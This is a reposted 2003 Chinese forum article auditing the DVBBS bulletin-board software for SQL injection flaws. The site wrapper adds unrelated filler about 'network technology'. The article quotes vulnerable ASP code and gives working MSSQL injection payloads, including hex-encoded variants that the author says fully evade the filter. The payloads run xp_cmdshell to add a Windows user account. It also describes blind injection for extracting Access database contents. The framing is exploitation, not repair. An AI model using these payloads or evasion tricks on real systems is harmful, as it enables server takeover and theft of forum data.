网站首页/网络技术列表/内容

DVBBS漏洞与注入技巧

网络技术2024-01-08阅读
网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。

版权:文章属中华安全网http://www.safechina.net和作者共同所有,转载请注明出处!!
内容:
捏脸的超人@2003.6.16

这几天抽空把手头上的商业版dvBBS看了一下,嗯,差不多都快看完第一遍了,下面是r开头到最后的几个文件的检测情况。这一段时间黄汤灌得很多,说不定会看走了眼,呵呵。


◆recycle.asp

if instr(request("tablename"),"bbs")>0 then
sql="select AnnounceID,boardID,UserName,Topic,body,DateAndTime from "&request("tablename")&" where locktopic=2 and not parentid=0 order by announceid desc"

tablename中只要包含"bbs"就可以为所欲为了,不过前提是你是论坛的master……有用吗?不知道,也许你在其他地方注入比较困难的时候,试着把自己提升为master后到这里来注入比较好,基本上没有什么长度或者字符上的约束。


◆reg.asp

set rs=conn.execute("select top 1 userid,face from [user] order by userid desc")
... ...
facename=rs(1)
... ...
facename=split(facename,"/")
... ...
newfilename="uploadFace/"&userid&"_"&facename(ubound(facename))
... ...
conn.execute("update [user] set face='"&newfilename&"' where userid="&userid)

和MyModify.asp一样的问题,利用起来有些困难,但是确实是存在的。更加细节的地方请参看前面的《动网的洞——again!》。

◆saveannounce.asp

if request.form("upfilerename")<>"" then
ihaveupfile=1
upfileinfo=replace(request.form("upfilerename"),"'","")
upfileinfo=replace(upfileinfo,";","")
upfileinfo=replace(upfileinfo,"--","")
upfilelen=len(upfileinfo)
upfileinfo=left(upfileinfo,upfilelen-1)
else
ihaveupfile=0
end if
... ...
if ihaveupfile=1 then conn.execute("update dv_upfile set F_AnnounceID='"&rootid&"│"&AnnounceID&"',F_Readme='"&Topic&"' where F_ID in ("&upfileinfo&")")

这是《dvBBS的另一类漏洞》的商业版问题,如果是配置得不好的MSSQL,试试看upfileinfo为这个的情况

1) declare @a sysname select @a=char(110)+char(101)+char(116)+char(32)+char(117)+char(115)+char(101)+char(114)+char(32)+char(97)+char(32)+char(97)+char(32)+char(47)+char(97)+char(100)+char(100) exec master.dbo.xp_cmdshell @a select (1

或者(中文版MSSQL2000下面测试通过的)

1)
declare @a sysname 
select @a=0x6e006500740020007500730065007200200061002000610020002f00610064006400
exec master.dbo.xp_cmdshell @a
select (1

或者更加极端的

1)
declare @a sysname 
declare @b sysname
select @a=0x6e006500740020007500730065007200200061002000610020002f00610064006400
select @b=0x6d00610073007400650072002e002e00780070005f0063006d0064007300680065006c006c00
exec @b @a
select (1

这个是执行net user a a /add,后面一种方法可以完全逃过过滤。如果是ACCESS,那么请用构造畸形条件的方法猜数据库的内容。


◆savereannounce.asp

同上!


◆savevote.asp

同上!还有这个:

votetype=Checkstr(request.Form("votetype"))
... ...
conn.execute("insert into vote (vote,votenum,votetype,timeout) values ('"&vote&"','"&votenum&"',"&votetype&",'"&votetimeout&"')")

其中CheckStr是这样写的
function checkStr(str)
if isnull(str) then
checkStr = ""
exit function 
end if
checkStr=replace(str,"'","''")
end function

呵呵,这个漏洞很典型吧?

好了好了,就这些了,连同以前的那些漏洞,单个文件中存在的问题大约就是这些了吧?呵呵,可能还有其它的看漏掉了。下面要找的该是复合了几个文件的漏洞,不过这段时间我不会去做,毕业临近,每天黄黄白白的要喝不少,睡觉都占了一天的一半时间,哪有空呢……还要养精蓄锐,准备要赔给兄弟和MM们的眼泪,哇靠……

对了,反正都说了很多无关紧要的话,不如再废话一些。老是有人问我ACCESS的怎么利用,我觉得PsKey的大作中写得很清楚了,自己去看,OK?关于ACCESS中注入能够做些什么,我想是可以这样去理解:至少你可以构造畸形的条件来猜测并且准确获知表的构造和全部内容。用and来作为连接条件吧!这样的逻辑表达式会干净利落地回答你是或者否,如果是自动化,你可以把猜测的时间复杂度降到NlogN而不是N^2:

.. and x=(select xxx from xxx where right(left(xxx,N),1) between char(a) and char(b))

这个只适用于头脑发晕或者是灵感耗尽的时候,如果六位的数据你猜到前面四位是qazw或者是七位的数据你猜到前面是mrzh等等诸如此类,还要去下大包围的话,真是代表碳水化合物输给硅了!做程序的话倒可以用用,不过话又说回来,这种有限状态自动机写来干什么呢?自动化的结果是智力的游戏变成了时间的游戏,所以我最讨厌蠕虫了!
哎呀,都不知道写到哪里去了。写多了,不,喝多了,呵呵…… 

网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。

相关阅读